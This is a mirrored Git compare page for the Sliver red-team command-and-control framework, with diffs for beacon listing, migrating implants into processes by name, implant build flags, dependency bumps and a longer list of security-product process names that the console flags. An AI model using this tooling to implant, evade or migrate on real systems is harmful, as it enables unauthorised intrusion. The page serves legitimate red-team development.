mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
72
Commits
wasm/sqlite3
...
fix/1236
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2378804681 | ||
|
|
af46878f85 | ||
|
|
47f10d0301 | ||
|
|
52daa1ac66 | ||
|
|
38a740aff2 | ||
|
|
4690430cec | ||
|
|
81acc47bdc | ||
|
|
d547708961 | ||
|
|
415c7ebd03 | ||
|
|
0510ef7242 | ||
|
|
27c6e8e8e4 | ||
|
|
64c40bad05 | ||
|
|
8368fe6b34 | ||
|
|
a468ec8239 | ||
|
|
40aa052696 | ||
|
|
c3e8a1a938 | ||
|
|
bacd3d6f13 | ||
|
|
b5e611d73b | ||
|
|
2f9c84c793 | ||
|
|
d921c3c56d | ||
|
|
8408296c0b | ||
|
|
b7206530f4 | ||
|
|
5b22e6dfc8 | ||
|
|
ad53f903c7 | ||
|
|
649960a3e9 | ||
|
|
7c33022408 | ||
|
|
7522a0b7de | ||
|
|
651587c324 | ||
|
|
fce0221bc7 | ||
|
|
8a9437c99a | ||
|
|
3599af150f | ||
|
|
d92aaa98e4 | ||
|
|
9e12db9ad2 | ||
|
|
c367c8c948 | ||
|
|
77ab598d59 | ||
|
|
c0a42c6b14 | ||
|
|
7479e86765 | ||
|
|
fd645e6c04 | ||
|
|
ef1c0341de | ||
|
|
1e6218f8fc | ||
|
|
c2abf668b6 | ||
|
|
8c06b83821 | ||
|
|
57ddb1a1bc | ||
|
|
0a43dc688f | ||
|
|
10d5f80f6b | ||
|
|
37efe1684b | ||
|
|
c2adb8187e | ||
|
|
7033be8408 | ||
|
|
497a4cc698 | ||
|
|
f792781d5d | ||
|
|
886c9884d0 | ||
|
|
f09efe9512 | ||
|
|
ee6decb64b | ||
|
|
929e67e295 | ||
|
|
03183aefd3 | ||
|
|
b7ba23c409 | ||
|
|
6c77808359 | ||
|
|
626d1ee5c9 | ||
|
|
689645d4f8 | ||
|
|
7fa1b5c824 | ||
|
|
0aabd71d9d | ||
|
|
5f4960bfb1 | ||
|
|
400c629dec | ||
|
|
85f51a8752 | ||
|
|
ec7e76fc2f | ||
|
|
04e8104ad9 | ||
|
|
d2aaee9882 | ||
|
|
54afc61d94 | ||
|
|
246519da59 | ||
|
|
bd575684d7 | ||
|
|
da4ee8ad51 | ||
|
|
e6645c91a3 |
No files matched your search
+2
-4
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.20.2
|
||||
FROM golang:1.20.4
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -53,9 +53,7 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all \
|
||||
&& ./go-assets.sh
|
||||
|
||||
RUN make clean-all
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
@@ -129,6 +129,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
@@ -165,6 +166,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
|
||||
@@ -109,7 +109,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.ID == beaconID {
|
||||
if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
|
||||
return beacon, nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1205,12 +1205,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Uint("pid", "pid")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Uint("p", "pid", 0, "process id to migrate into")
|
||||
f.String("n", "process-name", "", "name of the process to migrate into")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -1324,6 +1322,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
@@ -1385,6 +1384,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
@@ -1541,6 +1541,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
@@ -1609,6 +1610,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
|
||||
@@ -21,9 +21,11 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -34,7 +36,36 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
procName := ctx.Flags.String("process-name")
|
||||
if pid == 0 && procName == "" {
|
||||
con.PrintErrorf("Error: Must specify either a PID or process name\n")
|
||||
return
|
||||
}
|
||||
if procName != "" {
|
||||
procCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
|
||||
proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
procCtrl <- true
|
||||
<-procCtrl
|
||||
for _, p := range proc.GetProcesses() {
|
||||
if strings.ToLower(p.Executable) == strings.ToLower(procName) {
|
||||
pid = uint(p.Pid)
|
||||
break
|
||||
}
|
||||
}
|
||||
if pid == 0 {
|
||||
con.PrintErrorf("Error: Could not find process %s\n", procName)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
|
||||
}
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
|
||||
@@ -106,7 +106,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -272,6 +272,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
limitDatetime := ctx.Flags.String("limit-datetime")
|
||||
limitFileExists := ctx.Flags.String("limit-fileexists")
|
||||
limitLocale := ctx.Flags.String("limit-locale")
|
||||
debugFile := ctx.Flags.String("debug-file")
|
||||
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
@@ -369,6 +370,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
IsShellcode: isShellcode,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
|
||||
DebugFile: debugFile,
|
||||
}
|
||||
|
||||
return config
|
||||
|
||||
@@ -43,6 +43,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if idArg != "" {
|
||||
// ID passed via argument takes priority
|
||||
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
|
||||
} else if session != nil || beacon != nil {
|
||||
var currID = ""
|
||||
if session != nil {
|
||||
currID = session.ID
|
||||
} else {
|
||||
currID = beacon.ID
|
||||
}
|
||||
session, beacon, err = use.SessionOrBeaconByID(currID, con)
|
||||
} else {
|
||||
if session == nil && beacon == nil {
|
||||
session, beacon, err = use.SelectSessionOrBeacon(con)
|
||||
|
||||
@@ -80,6 +80,11 @@ var (
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"collector.exe": {console.Red, "Rapid 7 Collector"}, // Rapid 7 Insight Platform Collector
|
||||
"ir_agent.exe": {console.Red, "Rapid 7 Insight Agent"}, // Rapid 7 Insight Agent
|
||||
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -89,7 +89,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
// No flags, parse the current beacon's ActiveC2 instead
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
if len(c2s) == 0 {
|
||||
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
|
||||
c2url, err := url.Parse(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
|
||||
@@ -361,12 +361,12 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
if beacon != nil {
|
||||
con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0])
|
||||
}
|
||||
task, err = con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
|
||||
task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
|
||||
ID: task.ID,
|
||||
})
|
||||
con.Printf(Clearln + "\r")
|
||||
if err == nil {
|
||||
callback(task)
|
||||
callback(task_content)
|
||||
} else {
|
||||
con.PrintErrorf("Could not get beacon task content: %s\n", err)
|
||||
}
|
||||
|
||||
+2
-2
@@ -14,7 +14,7 @@ GEM
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.23.8)
|
||||
commonmarker (0.23.9)
|
||||
concurrent-ruby (1.2.0)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
@@ -212,7 +212,7 @@ GEM
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.17.0)
|
||||
nokogiri (1.14.1)
|
||||
nokogiri (1.14.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.25.1)
|
||||
|
||||
+4
-3
@@ -10,13 +10,13 @@ fi
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc git
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
gpg curl build-essential \
|
||||
gpg curl build-essential git \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
fi
|
||||
|
||||
@@ -130,7 +130,8 @@ fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver-client
|
||||
ln -s /usr/local/bin/sliver-client /usr/local/bin/sliver
|
||||
chmod 755 /usr/local/bin/sliver
|
||||
else
|
||||
exit 3
|
||||
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.20.2"
|
||||
GARBLE_VER="1.20.3"
|
||||
GO_VER="1.20.4"
|
||||
GARBLE_VER="1.20.4"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
@@ -29,31 +29,31 @@ require (
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.16
|
||||
github.com/miekg/dns v1.1.52
|
||||
github.com/miekg/dns v1.1.54
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/pquerna/otp v1.4.0
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.6.1
|
||||
github.com/spf13/cobra v1.7.0
|
||||
github.com/stretchr/testify v1.8.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/xlab/treeprint v1.2.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.7.0
|
||||
golang.org/x/net v0.8.0
|
||||
golang.org/x/sys v0.6.0
|
||||
golang.org/x/term v0.6.0
|
||||
golang.org/x/text v0.8.0
|
||||
golang.org/x/crypto v0.9.0
|
||||
golang.org/x/net v0.10.0
|
||||
golang.org/x/sys v0.8.0
|
||||
golang.org/x/term v0.8.0
|
||||
golang.org/x/text v0.9.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.54.0
|
||||
google.golang.org/grpc v1.55.0
|
||||
google.golang.org/protobuf v1.30.0
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.4.7
|
||||
gorm.io/driver/mysql v1.5.0
|
||||
gorm.io/driver/postgres v1.5.0
|
||||
gorm.io/driver/sqlite v1.4.4
|
||||
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11
|
||||
gorm.io/driver/sqlite v1.5.0
|
||||
gorm.io/gorm v1.25.0
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
modernc.org/sqlite v1.21.0
|
||||
modernc.org/sqlite v1.22.1
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -70,18 +70,18 @@ require (
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.1.0 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
|
||||
github.com/jackc/pgx/v5 v5.3.0 // indirect
|
||||
@@ -105,7 +105,7 @@ require (
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.6.0 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
@@ -115,7 +115,7 @@ require (
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13 // indirect
|
||||
modernc.org/libc v1.22.3 // indirect
|
||||
modernc.org/libc v1.22.5 // indirect
|
||||
modernc.org/mathutil v1.5.0 // indirect
|
||||
modernc.org/memory v1.5.0 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.105.0 h1:DNtEKRBAAzeS4KyIory52wWHuClNaXJ5x1F7xa4q+5Y=
|
||||
cloud.google.com/go/compute v1.15.1 h1:7UGq3QknM33pw5xATlpzeoomNxsacIVvTqTTvbfajmE=
|
||||
cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys=
|
||||
cloud.google.com/go/compute v1.18.0 h1:FEigFqoDbys2cvFkZ9Fjq4gnHBP55anJ0yQyau2f9oY=
|
||||
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
|
||||
@@ -78,8 +78,8 @@ github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM5
|
||||
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
|
||||
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -113,8 +113,8 @@ github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5y
|
||||
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
|
||||
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
|
||||
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
|
||||
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
|
||||
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
|
||||
@@ -143,8 +143,8 @@ github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
|
||||
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
|
||||
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
|
||||
@@ -158,7 +158,6 @@ github.com/jedib0t/go-pretty/v6 v6.4.6 h1:v6aG9h6Uby3IusSSEjHaZNXpHFhzqMmjXcPq1R
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.6/go.mod h1:Ndk3ase2CkQbXLLNf5QDHoYb6J9WtVfmHZu9n8rk2xs=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
@@ -214,8 +213,8 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/miekg/dns v1.1.52 h1:Bmlc/qsNNULOe6bpXcUTsuOajd0DzRHwup6D9k1An0c=
|
||||
github.com/miekg/dns v1.1.52/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
|
||||
github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI=
|
||||
github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
|
||||
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
|
||||
github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
|
||||
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
@@ -245,8 +244,8 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
|
||||
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
|
||||
github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
|
||||
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
|
||||
